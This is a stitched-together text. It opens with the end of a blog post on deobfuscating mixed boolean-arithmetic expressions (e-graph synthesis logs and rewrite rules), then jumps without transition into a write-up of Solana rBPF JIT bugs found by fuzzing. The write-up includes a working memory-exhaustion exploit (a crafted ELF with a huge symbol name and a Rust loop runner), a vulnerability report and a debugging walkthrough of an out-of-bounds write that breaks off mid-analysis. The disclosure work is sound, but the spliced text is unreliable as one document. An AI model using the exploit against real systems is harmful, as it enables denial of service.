x*y)*0xb5210aa000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x*y)*(((x&y)*0x4adef56000000000)+((x&(~y))*0x3c6058e000000000))))+(((~x)^y)*(((x&y)*((x*y)*0x95bdeac000000000))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0x4adef56000000000*((x*y)*(y-(y^x))))+(((x*y)*0x3c6058e000000000)*((~x)^y))))+(((~y)*(((x*y)*0x4adef56000000000)*y))+(((((x&y)*(x&y))*(((x|y)*(((x&y)*0xaf7f898000000000)+((x&(~y))*0xf181638000000000)))+(((x|y)*0xf181638000000000)*((~x)^y))))+(((x&(~y))*(((x&(~y))*((x|y)*(((x&y)*0xe7e9c8000000000)+((x&(~y))*0x5080768000000000))))+(((~x)^y)*(((x&y)*((x|y)*0x1cfd390000000000))+(((x|y)*0xf181638000000000)*(x&(~y)))))))+(((((~x)^y)*((~x)^y))*((0xe7e9c8000000000*((x|y)*(y-(y^x))))+(((x|y)*0x5080768000000000)*((~x)^y))))+(((~y)*(((x|y)*0xe7e9c8000000000)*y))+(((((y^x)*(y^x))*0x6b02c22000000000)+((((x*y)*0x4108466000000000)*(y^x))+((((x*y)*(x*y))*0xb0c634c800000000)+((((x|y)*0xac0b088000000000)*(y^x))+((((x|y)*0x82108cc000000000)*(x*y))+((((x|y)*(x|y))*0xac0b088000000000)+((((y^x)*(y^x))*((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000)))+((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+((((x|y)*((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y))))+((((x|y)*(x|y))*(((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y))))+((((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+(((x|y)*0xb46a7de000000000)+((((y^x)*(y^x))*0x70402d7000000000)+(((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y))))+((((x|y)*0xc100b5c000000000)*(y^x))+(((x|y)*(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))+(0x3337c25800000000+(((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000)))+((((x*y)*(x*y))*((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000)))+(((((x|y)*0xf97d428000000000)*(x*y))*((y^x)+(x|y)))+((((x|y)*(x|y))*(((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y))))+(((((x*y)*((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))+(((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))+(((x*y)*0xed084eb000000003)+0x67c62228de18a6ae))+(((y^x)*(y^x))*0x24bd107000000000))))))))))))))))))+0x5bfeed000000000)))-(((x|y)*(((y^x)*0xfdd46b8000000000)+((x*y)*0xf97d428000000000)))*(y^x)))))))))))+(((x|y)*0x5080768000000000)*(y*(y*y))))))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))))))+(((y*(y*y))*0x809e2c000000000)*(~y))))))))))))
====================================================================================================
eclasses #: 24289
Synthesized (cost = 391): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+((y^x)*((0x6b02c22000000000*(y^x))+((x*y)*0x4108466000000000))))+(((x*y)*((0xb0c634c800000000*(x*y))+((x|y)*0x82108cc000000000)))+((((x|y)*0xac0b088000000000)*((y^x)+(x|y)))+(((y^x)*((((0x805c98c000000000*(y^x))+((x*y)*0xc1a0af6000000000))*(y^x))+((x|y)*(((y^x)*0x22b948000000000)+((x*y)*0x682bd8000000000)))))+(((((x*y)*(x*y))*(((y^x)*0x2271071000000000)+(0x1138838800000000*(x*y))))+0x5bfeed000000000)+(((((x|y)*(((((x*y)*(x*y))*0x44e20e2000000000)+(((y^x)*0x457290000000000)*(x|y)))+((((x*y)*0x682bd8000000000)+(0x2e4c60000000000*(x|y)))*(x|y))))+(((y^x)*0x5a353ef000000000)+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((x*y)*(((y^x)*0x50c0885000000000)+(0xbc90663c00000000*(x*y)))))+((((((y^x)*(y^x))*0x70402d7000000000)+((x|y)*(((y^x)*0xc100b5c000000000)+(((x*y)*0xa18110a000000000)+((x|y)*0xc100b5c000000000)))))+((y^x)*0xdab01d3000000000))+(0x1077765721e75952+(((x*y)*0xc8082bc800000000)+(((((x|y)*0xb5603a6000000000)+(((y^x)*(y^x))*(((0x7fa3674000000000*(y^x))+((x*y)*0x3e5f50a000000000))+((x|y)*0xfdd46b8000000000))))+(((y^x)*(y^x))*0x24bd107000000000))+((((x*y)*((((((y^x)*0xdd8ef8f000000000)+(0xeec77c7800000000*(x*y)))+((x|y)*0xbb1df1e000000000))*(x*y))+(((y^x)+(x|y))*((x|y)*0xf97d428000000000))))+(((x|y)*(((((y^x)*0xfba8d70000000000)+(0xfd1b3a0000000000*(x|y)))*(x|y))+(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+((y^x)*(((x|y)*0x92f441c000000000)+0xf35adf2000000002))))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((((y^x)*0x6e37315000000000)+(0x92a964fc00000000*(x*y)))+((x|y)*0xdc6e62a000000000)))))))))))))))))))
====================================================================================================
eclasses #: 475200
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
e-graph reset done.
====================================================================================================
eclasses #: 161
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 321
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 896
Synthesized (cost = 157): (0x820278b000000000+(((y^x)*0xd7bfc4c000000000)+(((x*y)*0xc39fa72000000000)+((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((((0x3337c25800000000+((y^x)*0xdab01d3000000000))+((((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000))+0xdd3fb3ff21e75952))+((((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004)))+(0x67c62228de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))))+(0x5bfeed000000000+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))))))
====================================================================================================
eclasses #: 4225
Synthesized (cost = 153): (0x820278b000000000+((((((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000))+((x|y)*(((x*y)*0x82108cc000000000)+(0xac0b088000000000*((y^x)+(x|y))))))+(((((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0x6b02c22000000000))+(((y^x)*(0x5a353ef000000000+(0x70402d7000000000*(y^x))))+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000))))+((0x6d8610f8de18a6ae+((x*y)*(0xed084eb000000003+((x|y)*0xdc6e62a000000000))))+(((y^x)*((0x24bd107000000000*(y^x))+(((x|y)*0x92f441c000000000)+0xf35adf2000000002)))+((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))))))+((0x1077765721e75952+((y^x)*0xdab01d3000000000))+(((x|y)*(((0xc100b5c000000000*((y^x)+(x|y)))+((x*y)*0xa18110a000000000))+0xb5603a6000000000))+((x*y)*0xc8082bc800000000)))))
====================================================================================================
eclasses #: 41016
Synthesized (cost = 115): (((0x820278b000000000+((0xac0b088000000000*((y^x)+(x|y)))*(x|y)))+(((((((x|y)*0xaf7f898000000000)+((0x5bfeed000000000+(((x*y)*0x874fde6800000000)+((x|y)*0xb46a7de000000000)))+(0x5a353ef000000000*(y^x))))+(((x|y)*(((x|y)*0x92f441c000000000)+0xe6b5be4000000004))+((((x|y)*0x92f441c000000000)+0xf35adf2000000002)*(y^x))))+0x67c62228de18a6ae)+(((0x1077765721e75952+((y^x)*0xdab01d3000000000))+((x*y)*0xc8082bc800000000))+((0xb5603a6000000000+(0xc100b5c000000000*((y^x)+(x|y))))*(x|y))))+(0xed084eb000000003*(x*y))))+(((y^x)*0xd7bfc4c000000000)+((x*y)*0xc39fa72000000000)))
====================================================================================================
eclasses #: 757557
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
e-graph reset done.
====================================================================================================
eclasses #: 80
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 151
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 347
Synthesized (cost = 75): (((((0xed084eb000000003*(x*y))+((0xe6b5be4000000004*(x|y))+(((0x24bd107000000000*(y^x))+0xf35adf2000000002)*(y^x))))+(((x*y)*0xc8082bc800000000)+(0xb5603a6000000000*(x|y))))+((y^x)*0xdab01d3000000000))+(((y^x)*0x31f503b000000000)+((((x*y)*0x4aef858800000000)+((x|y)*0xb46a7de000000000))+(((x|y)*0xaf7f898000000000)+(((y^x)*(y^x))*0xdb42ef9000000000)))))
====================================================================================================
eclasses #: 1045
Synthesized (cost = 41): (((((y^x)*0xca520e000000000)+((((0xb5603a6000000000*(x|y))+((x*y)*0xb5107a7800000003))+(0xe6b5be4000000004*(x|y)))+(0xf35adf2000000002*(y^x))))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 4864
Synthesized (cost = 29): ((((0x2*(y^x))+(((x|y)*0x9c15f8a000000004)+((x*y)*0xb5107a7800000003)))+((x|y)*0x63ea076000000000))+((x*y)*0x4aef858800000000))
====================================================================================================
eclasses #: 46118
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
e-graph reset done.
====================================================================================================
eclasses #: 22
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 34
Synthesized (cost = 27): ((((((x|y)*0x9c15f8a000000004)+(0x2*(x*y)))+(x*y))+((x|y)*0x63ea076000000000))+(0x2*(y^x)))
====================================================================================================
eclasses #: 63
Synthesized (cost = 25): ((((0x2*(y^x))+((x|y)*0x63ea076000000000))+(y*(x+(0x2*x))))+((x|y)*0x9c15f8a000000004))
====================================================================================================
eclasses #: 130
Synthesized (cost = 17): (((0x2*(y^x))+((x|y)*0x4))+(0x3*(x*y)))
====================================================================================================
The rewriting rules used in the minimal proof of concept already proved to be good candidates in many tests, but it is possible to observe expressions which have only been partially simplified when equality saturation and QSynthesis are being applied without any form of sub-expression normalization due to MBA-Blast. Similar issues can be noticed when expressions involving constants (in their pre-obfuscation form) are not processed with the constant oracle or via constant harvesting. The constant oracle itself is hindered by edge cases where the restriction to a smaller I/O bitwidth is not sufficient to obtain a small set of templates to be fed to CEGIS.
From an implementation point of view, the current Python script suffers from heavy performance issues when the e-graph size gets too large, therefore requiring early resets that are inevitably going to discard valuable information that could instead lead to better results. Crucial phases like the e-graph matching and the subsequent cost computation could be rewritten to use clever algorithms and aggressive caching.
Finally, a well known problem with the “quality” of the I/O samples is still present; in fact, they may not be sufficient to drive the synthesis in the right direction, leading to the insertion of wrong knowledge in the e-graph and, consequently, to wrong results. The problem can be contained enabling the formal verification of all the equivalences, at the cost of an additional slowdown.
The tip of the iceberg of what can be done when combining equality saturation and program synthesis has been barely scratched. Our feeling is that rewriting the proof of concept in a faster language and with better algorithms could lead to further improvements. On top of that, the following opportunities might be exciting future work:
The current Python PoC can be found on GitHub. It is a monolithic slow script that has just been used to experiment with the documented ideas and it will be properly rewritten in a faster language in the upcoming months.
Additionally, we would like to thank:
The rewriting rules used by the proof of concept follow. They are by no means complete and have just been empirically selected during the experiments.
(x * y) -> (y * x)
(x + y) -> (y + x)
(x & y) -> (y & x)
(x ^ y) -> (y ^ x)
(x | y) -> (y | x)
(x * (y * z)) -> ((x * y) * z)
(x + (y + z)) -> ((x + y) + z)
(x & (y & z)) -> ((x & y) & z)
(x ^ (y ^ z)) -> ((x ^ y) ^ z)
(x | (y | z)) -> ((x | y) | z)
~(x * y) -> ((~x * y) + (y - 1))
~(x + y) -> (~x + (~y + 1))
~(x - y) -> (~x - (~y + 1))
~(x & y) -> (~x | ~y)
~(x ^ y) -> ((x & y) | ~(x | y))
~(x | y) -> (~x & ~y)
-(x * y) -> (-x * y)
(-x * y) -> -(x * y)
(x - y) -> (x + (-y))
(x + (-y)) -> (x - y)
-x -> (~x + 1)
(~x + 1) -> -x
((x + y) * z) -> ((x * z) + (y * z))
((x - y) * z) -> ((x * z) - (y * z))
((x * y) + (x * z)) -> (x * (y + z))
((x * y) - (x * z)) -> (x * (y - z))
((x * y) + y) -> ((x + 1) * y)
(x + x) -> (2 * x)
-(x + y) -> ((-x) + (-y))
In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.
The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.
The input that triggered the crash disassembles to the following assembly:
entrypoint:
r0 = r0 + 255
if r0 <= 8355838 goto -2
r9 = r3 >> 3
call -1
For whatever reason, this particular set of instructions causes a memory leak.
When executed, this program does the following steps, roughly:
What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
remaining
, here, refers to the number of instructions remaining
before the program is forceably terminated. As a result, the leaking
program was running out this meter at exactly the call
instruction.
There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.
The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.
The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:
However, based on the original order of the instructions, what happens in the call is the following:
report_unresolved_symbol
function, which returns the name of the symbol invoked (or
“Unknown”) in a heap-allocated stringBecause the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.
That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.
Let’s take a closer look at report_unresolved_symbol
.
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
let file_offset = insn_offset
.saturating_mul(ebpf::INSN_SIZE)
.saturating_add(self.text_section_info.offset_range.start as usize);
let mut name = "Unknown";
if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
for relocation in &elf.dynrels {
match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
if relocation.r_offset as usize == file_offset {
let sym = elf
.dynsyms
.get(relocation.r_sym)
.ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
name = elf
.dynstrtab
.get_at(sym.st_name)
.ok_or(ElfError::UnknownSymbol(sym.st_name))?;
}
}
_ => (),
}
}
}
Err(ElfError::UnresolvedSymbol(
name.to_string(),
file_offset
.checked_div(ebpf::INSN_SIZE)
.and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
.unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
file_offset,
)
.into())
}
Note how the name
is the string which becomes heap allocated. The
value of the name is determined by a relocation lookup in the ELF, which
we can actually control if we compile our own malicious ELF. Even though
the fuzzer only tests the JIT operations, one of the intended ways to
load a BPF program is as an ELF,
so it seems like something that would certainly be in scope.
To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:
evil.h
is far too large to post here, as it has a function name that
is approximately a mebibyte long. Instead, it was generated with the
following bash command.
$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})
void EVIL();
" > evil.h
#include "evil.h"
void entrypoint() {
asm(" goto +0\n"
" r0 = 0\n");
EVIL();
}
Note that goto +0
is used here because we’ll use a specialised
instruction meter that only can do two instructions.
Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.
You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.
Note in particular the use of an instruction meter with two remaining.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;
fn main() {
let mut file = File::open("tests/elfs/evil.so").unwrap();
let mut elf = Vec::new();
file.read_to_end(&mut elf).unwrap();
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut syscall_registry = SyscallRegistry::default();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
for _ in 0.. {
let mut jit_mem = [0; 65536];
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 2 };
jit_vm.execute_program_jit(&mut jit_meter).ok();
}
}
}
With our malicious ELF that has a function name that’s a mebibyte
long, the report_unresolved_symbol
will set that name
variable
to the long function name. As a result, the allocated string will
leak a whole mebibyte of memory per execution rather than the
measly seven bytes. When performed in this loop, the entire system’s
memory will be exhausted in mere moments.
Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.
A quick Google later and we find the Solana security policy. Scrolling through, it says:
DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to security@solana.com and provide your github username so we can add you to a new draft security advisory for further discussion.
Okay, reasonable enough. Looks like they have bug bounties too!
DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)
Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.
I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:
There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.
The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.
The following eBPF program demonstrates the vulnerability:
entrypoint:
goto +0
r0 = 0
call -1
where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.
The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.
While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.
Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.
Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.
For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.
The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?
The input that triggered the crash disassembles to the following assembly:
entrypoint:
or32 r9, -1
mov32 r1, -1
stxh [r9+0x1], r0
exit
The crash type triggered was a difference in JIT vs interpreter exit
state; JIT terminated with Ok(0)
, whereas interpreter terminated
with:
Err(AccessViolation(31, Store, 4294967296, 2, "program"))
Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.
The first thing of note is the access violation’s address:
4294967296
. In other words, 0x100000000
. Looking at the Solana
documentation,
we see that this address corresponds to program code. Are we
writing to JIT’d code??
The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.
So why isn’t it?
Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:
This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.
use std::collections::BTreeMap;
use solana_rbpf::{
elf::Executable,
insn_builder::{
Arch,
BpfCode,
Instruction,
IntoBytes,
MemSize,
Source,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;
fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
let analysis = Analysis::from_executable(executable);
// eprint!("Using the following disassembly");
analysis.disassemble(&mut std::io::stdout()).unwrap();
}
fn main() {
let config = Config::default();
let mut code = BpfCode::default();
let mut jit_mem = Vec::new();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
code
.load(MemSize::DoubleWord).set_dst(9).push()
.load(MemSize::Word).set_imm(1).push()
.store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
.exit().push();
let mut prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
dump_insns(&executable);
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if let Ok(_) = jit_res {
eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
}
}
This just sets up and executes the following BPF assembly:
entrypoint:
lddw r9, 0x100000000
stxh [r9+0x0], r0
exit
This assembly simply writes a 0 to 0x100000000.
For the next part: please, for the love of god, use GEF.
$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤ break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤ run
gef➤ print self.executable.ro_section.buf.ptr.pointer
gef➤ awatch *$1 # break if we modify the readonly section
gef➤ record full # set up for reverse execution
gef➤ continue
After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.
The watched memory is written to as a result of this X86 store
instruction
(as a reminder, we this is the branch for stxh). Seeing this
emit_address_translation
call above it, we can determine that
that function likely handles the address translation and readonly
checks.
Further inspection shows that emit_address_translation
actually
emits a call to… something:
emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;
Okay, so this is some kind of global offset for this JIT program to
translate the memory address. By searching for
TARGET_PC_TRANSLATE_MEMORY_ADDRESS
elsewhere in the program, we
find a loop which initialises different kinds of memory
translations.
Scrolling through this, we find our access check:
